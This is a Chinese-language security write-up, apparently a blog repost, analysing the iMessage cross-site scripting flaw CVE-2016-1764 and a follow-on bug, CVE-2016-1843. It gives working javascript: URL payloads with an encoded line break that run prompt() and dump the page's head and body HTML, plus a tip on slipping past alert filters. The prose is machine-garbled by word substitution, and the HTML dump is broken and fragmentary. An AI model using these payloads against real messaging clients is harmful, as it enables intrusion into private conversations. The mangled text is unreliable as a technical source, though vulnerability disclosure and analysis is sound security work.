从老缝隙到新缝隙 – iMessage 0day(CVE
0x01 前言
注:文章里“0day”在呈报给官方后分配缝隙编号:CVE-2016-1843
在前几天老外颁布了一个在3月更新里修复的iMessage xss缝隙(CVE-2016-1764)细节 :
https://www.bishopfox.com/blog/2016/04/if-you-cant-break-crypto-break-the-client-recovery-of-plaintext-imessage-data/
https://github.com/BishopFox/cve-2016-1764
他们发布这些细节里其实没有给出详细触发点的分析,我分析后也就是按照这些信息发明了一个新的0day。
0x02 CVE-2016-1764 缝隙分析
CVE-2016-1764 里的最简单的触发 Payload:javascript://a/research?%0d%0aprompt(1) 可以看出这个是很明显 javascript 协议里的一个小技巧%0d%0a 没措置惩罚惩罚后导致的 xss,这个 tips 在找 xss 缝隙里是对照常见的。
这个值得提一下的是为啥要用 prompt(1) 而我们常用的是 alert(1) ,我实际测试了下发明 alert 确实没步伐弹出来,此外在很多的网站其实把 alert 直接和谐过滤了,所以这里给提醒大家的是在测试 xss 的时候,把 prompt 替换 alert 是有须要的~
遇到这样的客户真个 xss 如果要分析,第一步应该看看 location.href 的信息。这个主要是看是哪个域下,这个缝隙是在 applewebdata:// 协议下,这个原缝隙分析里有给出。然后要看具体的触发点,一般在浏览器下我们可以通过看html源代码来分析,但是在客户端下一般看不到,所以这里用到一个小技巧:
javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)
这里是看 html 里的 head 代码:
@media screen and (-webkit-device-pixel-ratio:2) {}link type="text/css" href="http://www.8090-sec.com/archives/4660/file:/System/Library/PrivateFrameworks/SocialUI.framework/Resources/balloons-modern.css">
继续看下body的代码:
javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)
chatitem contiguous="no" role="heading" aria-level="1" item-type="header">header guid="v:iMessage/xxx@xxx.com/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx">headermessage text-direction="ltr">与“xxx@xxx.com”进行 iMessage 通信/headermessage>/header>/chatitem>chatitem contiguous="no" role="heading" aria-level="2" item-type="timestamp">timestamp guid="d:E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx">date date="481908183.907740">今天 23:23/date>/timestamp>/chatitem>chatitem contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes">message guid="p:0/E4BCBB48-9286-49EC-BA1D-xxxxxxxxxxxx" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes">buddyicon role="img" aria-label="黑哥">div>/div>/buddyicon>messagetext>messagebody title="今天 23:23:03" aria-label="javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)">messagetextcontainer text-direction="ltr">span>a href=" " title="javascript://a/research?
prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)
prompt(1,document.body.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)compact">p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes">p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes">img" aria-label="黑哥">今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)">
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12508.html